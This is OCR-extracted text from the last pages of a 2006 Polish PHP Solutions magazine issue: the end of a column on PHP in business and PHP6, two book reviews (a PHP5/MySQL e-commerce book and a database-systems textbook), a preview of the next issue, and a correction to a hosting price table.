z niecierpliwością! �

frameworki, aplikacje i skrypty są liczne,

niejednorodne i powtarzające się pod

względem funkcjonalności.

Dzisiaj, dzięki PHP, wiele profesjonal-

nych projektów radzi sobie z poważnymi

zadaniami i przynosi duże zyski. Te przed-

sięwzięcia mają jeden wspólny element:

nieodzowną obecność przewodnika czyli

guru, który defi niuje i nadzoruje architek-

turę i reguły rozwoju oprogramowania. Na

tym etapie, wprowadzenie PHP do fi rm

okazało się opłacalne i nie gwarantujące

stabilności.

Ale społeczność PHP nie powiedziała

jeszcze ostatniego słowa: przystosowanie

PHP do warunków panujących w fi rmie

jest głównym celem wyłaniającego się

powoli PHP6! Możliwe stanie się wymu-

szenie przestrzegania pewnych konwen-

cji, takich jak: zachowanie wielkości liter

w nazwach funkcji, składnia klas, stoso-

wanie przestrzeni nazw, obowiązkowe

używanie wyjątków, przejście na stan-

dard Unicode, itd. Dużym plusem będzie

również łatwiejsza i bardziej niezadowna

instalacja.

Wreszcie, istniejące rozszerzenia

PHP rozwijają się powoli, ale skutecznie.

Natomiast niewiele spośród tworzonych

w PHP aplikacji posiada doświadczoną

i prężną społeczność. A od współpracy

ze społecznością zależy sukces nasze-

go przedsięwzięcia: inaczej będziemy

musieli polegać na plątaninie małych,

niezgodnych ze sobą, efemerycznych

aplikacji, odkrywając po raz kolejny Ame-

rykę. Zespół Zend Technologies dobrze

zna ten problem, ponieważ ma coraz

większą styczność ze światem biznesu.

Guillaume Ponçon jest architektem

i dewoloperem PHP w fi rmie Anaska.

Jest również prelegentem i ściśle współ-

pracuje z fi rmą Zend Technologies.

Działa w różnych stowarzyszeniach

PHP, m.in. we Francuskim Stowarzy-

szeniu Użytkowników PHP (AFUP).

Napisał książkę Best Practices PHP5.

Kontakt z autorem: [email protected]

O autorze

PHP: Hobby,które przynosi zyskGuillaume Ponçon

Page 81: PHPSolutions_2_2006_PL

PHP5 i MySQL – Zastosowania e-commerce

Autorzy: Emilian Balanescu, Mihai Bucica, Cristian Darie

Wydawnictwo: Helion Cena: 71,10 zł

Jest taki rodzaj artykułu w prasie komputerowej, często goszczący także na łamach PHP Solutions. Redaktorzy nazywają go

KPKNKP, czyli Krok Po Kroku Na Konkretnym Przykładzie. Mówiąc krótko, książka PHP5 i MySQL – Zastosowania e-commerce jest

takim właśnie arykułem, tylko że o długości bitych 526 stron. Stosowniejszy byłby podtytuł Jedno zastosowanie e-commerce, bo cała

lektura – rzeczywiście szczegółowo – opisuje proces budowy pojednyczego sklepu internetowego.

Autorzy PHP5 i MySQL – Zastosowania e-commerce nie potrafi li się zdecydować, dla kogo przeznaczona jest książka. W pierwszym

rozdziale obszerny fragment poświecony jest wyjaśnianiu, czym w ogóle jest język PHP, co sugeruje czytelnika bardzo początkującego.

Z tym że od razu na początku drugiego rozdziału autorzy... znienacka pokazują fragment kodu PHP z lakonicznym opisem: utworzono

tu klasę Page dziedziczącą z klasy Smarty. Wszystkie instrukcje inicjujące pracę kodu zostały więc zamieszczone w konstruktorze kla-

sy Page. Milczące założenie jest – jak rozumiem – takie, że między przeczytaniem rozdziału pierwszego a drugiego czytelnik

wkuł jakiś podręcznik PHP5?

Mimo potknięć redakcyjnych lektura PHP5 i MySQL – Zastosowania e-commerce sprawiła mi przyjemność, a książkę

uważam za potrzebną i pożyteczną. W odróżnieniu od tysięcy innych samouczków LAMP tutaj mamy do czynienia z podej-

ściem nastawionym na praktyczne opisanie pracy nad większym projektem: autorzy kładą nacisk na dobrą architekturę cało-

ści, a w kolejnych rozdziałach nie pomijają nawet szczegółowego opisu obsługi płatności kartą kredytową (w dwóch różnych

systemach, więc przełożenie instrukcji na polskie realia nie jest trudne) i współpracy z Amazon.com z użyciem Web Services.

Proponowana architektura sklepu nosi indywidualne piętno jej twórców – w niektórych kwestiach zgadzam się z nimi

(porównanie wywołań REST i SOAP), w niektórych chętnie bym polemizował (uzasadnienie dla użycia szablonów SMAR-

TY), ale trzeba przyznać, że każdy początkujący programista – o ile ma już opanowane podstawy PHP5 – znajdzie w

książce dużo rzetelnej wiedzy.

Filip Dreger

�����

Systemy baz danych nie są właściwie książką o bazach danych, lecz skryptem akademickim do przedmiotu o takiej nazwie. Chociaż

ponad 500 stron wypełnionych jest informacjami, książka nie dostarczy żadnej praktycznej wiedzy ani umiejętności, z wyjatkiem być

może umiejętności zdania egzaminu zrobionego na jej podstawie.

Jak większość naukowców autor nie darowuje sobie rozpoczęcia książki od serii klasyfi kacji i defi nicji, na przykład: Dana, jako

jednostka danych, jest to jeden lub kilka symboli użytych do reprezentowania czegoś. A także historii prezentowanej dziedziny: Ludzie

przechowywali dane od wielu tysięcy lat. Na przykład pierwszy znany zapis opisujący majątek królewski i podatki w Sumerze pocho-

dzi z ok. 4000 r. p.n.e. Pojawiają się też naukowo brzmiące, lecz jawnie nieprawdziwe twierdzenia, jak: System informacyjny jest to

system, który dostarcza dane dla przedsiębiorstwa lub jego części (czy tylko przedsiębiorstwa mogą mieć systemy informacyjne?!).

Tego rodzaju wata nie jest tylko dodatkiem do książki – szacunkowo biorąc stanowi około połowy jej objętości, w wypadkach nie-

których rozdziałów (np. multimedialne bazy danych i bazy danych w Internecie) mamy do czynienia wyłącznie z trocinami.

Z punktu widzenia studenta Systemy bazy danych będą jeszcze jedną nieinspirującą lekturą do wykorzystania w systemie

Zakuć, Zdać, Zapomnieć. Jeżeli po książkę sięgnie średnio doświadczony autor aplikacji bazodanowych, znajdzie w

niej trochę rodzynków – między innymi podstawowe informacje o fi zycznej organizacji danych w plikach i indekso-

waniu (pozbawione niestety jakichkowiek przykładów pozwalających wykorzystać tę wiedzę do optymalizacji bazy),

opis obiektowych baz danych (w sumie pięć stron), bardzo dobrze opisane teoretycznie podstawy relacyjnych baz

danych (ciekawsze problemy, takie jak operacje na strukturach rekurencyjnych, są tylko zasygnalizowane) i ich nor-

malizacji.

Systemy baz danych są starannie zredagowane, jednak tłumacz nie miał chyba praktycznego kontaktu z informatyką;

niektóre fragmenty są tłumaczone bez zrozumienia, na przykład termin interfejs w postaci wspólnej bramy (ktoś zgadł? cho-

dziło o standard CGI). Książkę mogę polecić tylko jako uzupełnienie wykładu lub dobrych zajęć praktycznych, i to raczej nie

informatykom.

Filip Dreger

Systemy baz danych

Autor: Paul Beynon-Davis

Wydawnictwo: Wydawnictwo Naukowo-Techniczne Cena: 21,60 zł

�����

R E C E N Z J E

Page 82: PHPSolutions_2_2006_PL

Ponadto planujemy:

■■ Zarządzanie klientami z PHP-GTK2 – Pablo Dall’Oglio

■ ■ Video Streaming z wykorzystaniem PHP

■■ SNMP – zdalne sterowanie sprzętem

oraz ciąg dalszy artykułów poświęconych bezpieczeństwu

aplikacji oraz wykorzystaniu wzorców projektowych

TECHNIKI

NARZĘDZIA

PROJEKTY

EyeOS – Web Based Desktop System – Inter-

net na biurku czy biurko w Internecie? Przedsta-

wimy wnętrze i mechanizmy działania systemu

EyeOS – czyli webowego systemu operacyjne-

go napisanego m.in. w PHP, rozwijanego przez

społeczność na zasadach Open Source.

Copix – nowa jakość w dziedzinie systemów

CMS: wykorzystanie DAO, PHP5, 5-warstwowa

architektura, obsługa wielu baz danych, w tym

Oracle, to tylko niektóre z jego wielu możliwości.

PhpBeans – środowisko i specyfi kacja do

tworzenia wielowarstwowych aplikacji klasy

Enterprise. Pokażemy zalety oprogramowania

tworzonego przy użyciu phpBeans i przedstawi-

my jego integrację z frameworkiem PRADO.

iConnect w praktyce – tworzenie aplikacji

w PHP5 w oparciu o nowoczesną architekturę

dla rozwiązań klasy Enterprise.

Streaming Audio w PHP – Karl Vollmer,

twórca projektu Ampache prezentuje Streaming

Audio w PHP. Autor pokaże, jak stworzyć apli-

kację, która będzie w stanie wykonywać takie

operacje jak transcoding, downsampling

i stream seeking, także przy użyciu HTTPS.

W następnym numerze

W sprzedaży od 20 kwietnia!

PHP Solutions 3/2006 (14)

Firma Usługa PowierzchniaLimit transferu

(roczny)Restrykcje ilościowe

Obsługa baz

danych

Ceny

(netto)

Lokalizacja

serwera

FTP PocztaBazy

Danych

Kont

e-mail

Domen /

SubdomenSerwisów Kont FTP

Baz

danychMySQL

Postgre-

SQL

Abonament

Roczny

Nazwa (nazwa.pl) Active 5 GB 300 GB b.o. b.o. b.o. 1 b.o. Tak Tak 300Polska

Pro 10 GB 600 GB b.o. b.o. b.o. 1 b.o. Tak Tak 600

Sprostowanie do artykułu pt. „Porównanie ofert polskich fi rm hostingowych“ z poprzedniego numeru PHP Solutions

Page 83: PHPSolutions_2_2006_PL
Page 84: PHPSolutions_2_2006_PL